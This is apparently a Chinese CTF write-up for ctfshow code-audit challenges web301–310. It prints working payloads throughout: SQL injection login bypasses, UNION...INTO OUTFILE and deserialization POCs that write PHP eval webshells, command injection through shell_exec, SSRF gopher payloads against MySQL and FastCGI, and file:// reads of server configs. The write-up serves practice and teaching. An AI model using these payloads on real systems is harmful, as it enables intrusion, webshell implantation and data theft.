代码审计

web301

开始简单的代码审计~

这个代码不是mvc架构,一个个看就行。

一开始访问的是login.php,这里给了表单,有校验逻辑,在checklogin.php里面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
session_start();
require 'conn.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
$_SESSION['error']="1";
header("location:login.php");
?>

$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";这里username参数可控,并且没做任何过滤,存在SQL注入。

这里一开始我是直接尝试用万能密码,但是提示我用户名和密码错误。这里其实很费解。但是仔细看看代码逻辑确实是这样:

当我们用传userid=admin' or 1#&password=1时,确实是万能密码,然后也确实是执行了,因为返回的结果行肯定是>=1,所以下面的这个if逻辑语句直接跳过去了。

1
2
3
4
5
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}

因为这里我们不知道返回的$row['sds_password'],所以我们去构造的$userpwd也不会相等,所以:

1
2
3
4
5
6
7
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}

这个其实也绕过去了。

所以就执行了:

1
2
3
$_SESSION['error']="1";
header("location:login.php");
?>

所以就会跳转到login.php,然后因为这里的$_SESSION['error']="1";,所以:

1
2
3
<div class="login-font">
<i><?php echo isset($_SESSION['error']) &&( $_SESSION['error']=1)?"用户名密码错误":"";?> </i>
</div>

解法一

解释完万能密码为啥不行之后,我们尝试别的思路,首先我们可以用union select 来构造虚拟表么,这样就可以让返回的row['sds_password']可控,又因为$username可控,所以绕过。

payload : post 传userid=-1'union select 123#&userpwd=123 ,因为这里的语句是select sds_password from sds_user where sds_username=,是查询一个字段sds_password,所以这里构建虚拟表是一个位。

解法二

1
2
3
4
5
6
7
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}

针对这一块的代码,可以直接数组绕过:

userid=admin&userpwd[]=1

解法三

这里也可以尝试时间盲注,经过测试userid=admin' or sleep(2)#&userpwd=1

解法四

其实可以直接访问index.php

1
2
3
4
5
6
7
<?php
session_start();
require "conn.php";
if(!isset($_SESSION['login'])){
header("location:login.php");
}
?>

主要就是这段代码,这里可以看到header("location:login.php");,重定向之后没有exit();,所以我们可以在burpsute上面的history上面看到index.php的返回信息。

web301

可以直接回显出index.php的页面;

这里跟着松学到了一个小技巧,可以不用把intercept打开,直接去ProxyHTTP history看。这里想在那个页面去发包,可以直接找到对应的页面右击选中,然后ctrl+R放到repeater模块。

解法五

也可以直接写shell

payload:userid=-1'union select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/shell.php'#&userpwd=1

web302

提示我们就改了一处:if(!strcasecmp(sds_decode($userpwd),$row['sds_password']))我们可以跟进sds_decode()函数看一下:

1
2
3
4
5
<?php
function sds_decode($str)
{
return md5(md5($str.md5(base64_encode("sds")))."sds");
}

解法一

这里我们依然可以利用解法一的方式,只不过这里要编码一下,这里直接就在本地运行一下sds_decode()函数即可。

比如sds_decode('123')=ebc21ce74a2153bbcf593e4f7d61479a

payload:userid=-1'union select 'ebc21ce74a2153bbcf593e4f7d61479a'#&userpwd=1 ,这里要注意带上引号''

解法二

这里时间盲注仍然是可以的。

解法三

写shell,同web301解法五

解法四

web301解法四

web303

看下新的checklogin.php的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
session_start();
require 'conn.php';
require 'fun.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
if(strlen($username)>6){
die();
}
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
$_SESSION['error']="1";
header("location:login.php");
?>

多了一个:

1
2
3
if(strlen($username)>6){
die();
}

基本上上一题的payload都用不了了。

但是给了一个口子:

sds_user.sql里面给了账号密码:

INSERT INTO sds_user VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4'); 27151b7b1ad51a38ea66b1529cde5ee4对应的就是admin,所以我们直接admin/admin去登录,可以进入到后台。

解法一

然后可以在dptadd.php里面发现:

1
2
3
4
<?php
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
$result=$mysqli->query($sql);
?>

很明显insert into这里存在SQL注入。抓个包repeater一下,然后去依次爆库、爆表、爆字段、爆值。

1
2
3
4
5
6
7
8
9
10
11
获取数据库
dpt_name=1&dpt_address=1&dpt_build_year=2024-11-21&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select database())#&dpt_telephone_number=1

获取表
dpt_name=1&dpt_address=1&dpt_build_year=2024-11-21&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(table_name)from information_schema.tables where table_schema="sds")#&dpt_telephone_number=1

获取字段名
dpt_name=1&dpt_address=1&dpt_build_year=2024-11-21&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(column_name)from information_schema.columns where table_name="sds_fl9g")#&dpt_telephone_number=1

获取值
dpt_name=1&dpt_address=1&dpt_build_year=2024-11-21&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select flag from sds_fl9g)#&dpt_telephone_number=1

web303

解法二

insert into 这里也可以报错注入。

payload:

dpt_name=1&dpt_address=1&dpt_build_year=2024-11-20&dpt_has_cert=on&dpt_cert_number=1&dpt_telephone_number=1'and updatexml(1,concat(0x7e,database(),0x7e),1)#

发现也是可以的:

web303 2

后面就是正常的爆库、爆表、爆字段值。

web304

说是上了WAF,但其实注入方式还是同上一题。不赘述。只不过最后爆flag值的时候,显示不完全,需要right一下。

web305

给参数上了WAF:

1
2
3
4
5
6
7
8
function sds_waf($str)
{
if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){
return false;
}else{
return true;
}
}

基本上不能注入了,但是checklogin.php留了一个反序列化的口子:

1
2
3
4
$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){
$user = unserialize($user_cookie);
}

包含了class.php,我们看一下源码:

1
2
3
4
5
6
7
8
9
10
11
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __destruct(){
file_put_contents($this->username, $this->password);
}
}

可以利用file_put_contents()直接写shell:

1
2
3
$a=new user('/var/www/html/shell.php','<?=eval($_POST[1]);?>');
echo urlencode(serialize($a));
#O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A23%3A%22%2Fvar%2Fwww%2Fhtml%2Fshell.php%22%3Bs%3A8%3A%22password%22%3Bs%3A21%3A%22%3C%3F%3Deval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D

传过去即可。

这里写入了shell以后,可以通过蚁剑连上去。但是flag不在目录里面,在数据库里面。所以需要通过蚁剑来连接数据库:

web305 1

选择数据操作,然后输入mysqli的账号密码就可以进去了。就可以正常执行SQL语句。

ps:这里账号密码都为root才能连接成功,可能蚁剑读取conn.php里面的账号密码都是root/root

web306

这个题目也是简单的反序列化链,不过这里一开始我犯了个错误,就是我一直在login.php里面去尝试触发:

1
2
3
4
5
6
7
8
<?php
require 'class.php';
session_start();
error_reporting(0);
$user = unserialize(base64_decode($_COOKIE['user']));
if($user){
header("location:index.php");
}

login.php里面只包含了class.phpclass.php里面的三个类不能形成利用。

真正的利用点在index.php里面:

1
2
3
4
5
6
7
8
9
<?php
session_start();
require "conn.php";
require "dao.php";
$user = unserialize(base64_decode($_COOKIE['user']));
if(!$user){
header("location:login.php");
}
?>

同时包含了conn.phpdao.php,构成了反序列化,poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class log
{
public $title='a.php';
public $info='<?=eval($_POST[1]);?>';

}
class dao{
private $conn;

public function __construct(){
$this->conn=new log();
}
}
$a=new dao();
echo base64_encode(serialize($a));
#TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiJhLnBocCI7czo0OiJpbmZvIjtzOjIxOiI8Pz1ldmFsKCRfUE9TVFsxXSk7Pz4iO319
?>

web307

这个题目还是考察的反序列化,只不过这里的漏洞触发不是destruct、wakeup这样的魔法函数,而是正常的反序列化完之后的函数调用。

一开始审计了一会儿发现destruct触发的close()函数根本没有利用空间,这里得通过dao类的clearCache函数来触发漏洞利用:

1
2
3
public function  clearCache(){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}

然后我们可以全局搜索一下这个clearCache()函数,看哪些地方调用过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
session_start();
error_reporting(0);
require 'service/service.php';
unset($_SESSION['login']);
unset($_SESSION['error']);
setcookie('user','',0,'/');
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
$service->clearCache();
}
setcookie('PHPSESSID','',0,'/');
setcookie('service','',0,'/');
header("location:../login.php");
?>

可以发现logout.php里面有调用:$service->clearCache();所以我们可以在这里进行触发,POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class config{
#public $cache_dir = 'cache/*;ls -la >/var/www/html/1.txt;';
public $cache_dir = 'cache/*;echo "PD89ZXZhbCgkX1BPU1RbMV0pOz8+" | base64 -d > /var/www/html/shell.php;';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
public function clearCache(){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}

}
//rm -rf ./'cache/*;ls -la >/var/www/html/1.txt;'/*
$a=new dao();
echo base64_encode(serialize($a));

因为这里的shell_exec是没有回显的,所以这里我一开始是把回显内容输出到1.txt里面,然后去访问1.txt

第二次就是直接用base64写一个一句话,然后再Cookie那里传就行,键名为service

web308

这个题目给了ssrf的点:

1
2
3
4
5
6
7
8
9
10
11
12
function checkUpdate($url){
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$res = curl_exec($ch);
curl_close($ch);
return $res;
}

数据库的配置文件config.php里面可以看到:

1
2
3
4
5
6
7
8
class config{
private $mysql_username='root';
private $mysql_password='';
private $mysql_db='sds';
private $mysql_port=3306;
private $mysql_host='localhost';
public $cache_dir = 'cache';
public $update_url = 'https://vip.ctf.show/version.txt';

这里面其实mysql是没有密码的,所以可以猜测是ssrf打mysql未授权。可以用gopherus来生成payload:

代码审计308

1
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%3d%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%22%3b%01%00%00%00%01

在login页面抓个包修改下路径index.phpcookie的service传payload即可。poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

<?php
class dao
{
private $config;
public function __construct()
{
$this->config = new config();
}
}

class config
{
public $update_url ="gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%3d%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%22%3b%01%00%00%00%01";
}
$a=new dao();
echo base64_encode(serialize($a));
//TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo3NjM6ImdvcGhlcjovLzEyNy4wLjAuMTozMzA2L18lYTMlMDAlMDAlMDElODUlYTYlZmYlMDElMDAlMDAlMDAlMDElMjElMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlNzIlNmYlNmYlNzQlMDAlMDAlNmQlNzklNzMlNzElNmMlNWYlNmUlNjElNzQlNjklNzYlNjUlNWYlNzAlNjElNzMlNzMlNzclNmYlNzIlNjQlMDAlNjYlMDMlNWYlNmYlNzMlMDUlNGMlNjklNmUlNzUlNzglMGMlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNmUlNjElNmQlNjUlMDglNmMlNjklNjIlNmQlNzklNzMlNzElNmMlMDQlNWYlNzAlNjklNjQlMDUlMzIlMzclMzIlMzUlMzUlMGYlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNzYlNjUlNzIlNzMlNjklNmYlNmUlMDYlMzUlMmUlMzclMmUlMzIlMzIlMDklNWYlNzAlNmMlNjElNzQlNjYlNmYlNzIlNmQlMDYlNzglMzglMzYlNWYlMzYlMzQlMGMlNzAlNzIlNmYlNjclNzIlNjElNmQlNWYlNmUlNjElNmQlNjUlMDUlNmQlNzklNzMlNzElNmMlNDYlMDAlMDAlMDAlMDMlNzMlNjUlNmMlNjUlNjMlNzQlMjAlMjIlM2MlM2YlM2QlNjUlNzYlNjElNmMlMjglMjQlNWYlNTAlNGYlNTMlNTQlNWIlMzElNWQlMjklM2YlM2UlMjIlMjAlNjklNmUlNzQlNmYlMjAlNmYlNzUlNzQlNjYlNjklNmMlNjUlMjAlMjIlMmYlNzYlNjElNzIlMmYlNzclNzclNzclMmYlNjglNzQlNmQlNmMlMmYlNzMlNjglNjUlNmMlNmMlMmUlNzAlNjglNzAlMjIlM2IlMDElMDAlMDAlMDAlMDEiO319
?>

web308 2

web309

在上题的基础上,mysql有了口令,现在不能利用SSRF去打mysql未授权了。这个题目考察的是ssrf打fastcgi,具体原理在后面SSRF篇里面。我们仍然是利用gopherus去生成一下payload:

web309

1
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27cat%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

当然这里的payload也可以修改一下,Terminal command to run:可以直接写马进去:echo PD89ZXZhbCgkX1BPU1RbMV0pOz8+ | base64 -d >1.php

poc的构造和上题一致,就这里的payload稍微改下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class dao
{
private $config;
public function __construct()
{
$this->config = new config();
}
}

class config
{
public $update_url ="gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27cat%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00";
}

$a=new dao();
echo base64_encode(serialize($a));
?>

发包过去:

web309 2

response回显出命令执行的结果:

web309 3

web310

这题其实还可以按照上题打fastcgi的方式,我看有些wp说9000端口用不了了,其实还是可以用。不过这里说一下另外一种方式,就是读nginx配置文件,这里读nginx配置文件默认位置/etc/nginx/nginx.conf

构造poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class dao
{
private $config;
public function __construct()
{
$this->config = new config();
}
}

class config
{
public $update_url ="file:///etc/nginx/nginx.conf";
}

$a=new dao();
echo base64_encode(serialize($a));

?>

web310 1

可以在response里面成功读到nginx.conf的内容:

web310 2

所以我们在构造一次,去访问http://127.0.0.1:4476,就可以返回该index.html的内容,大概率会带着flag(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class dao
{
private $config;
public function __construct()
{
$this->config = new config();
}
}

class config
{
public $update_url ="http://127.0.0.1:4476";
}

$a=new dao();
echo base64_encode(serialize($a));
//TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czoyMToiaHR0cDovLzEyNy4wLjAuMTo0NDc2Ijt9fQ==
?>

request包:

web310 3

response:

web310 4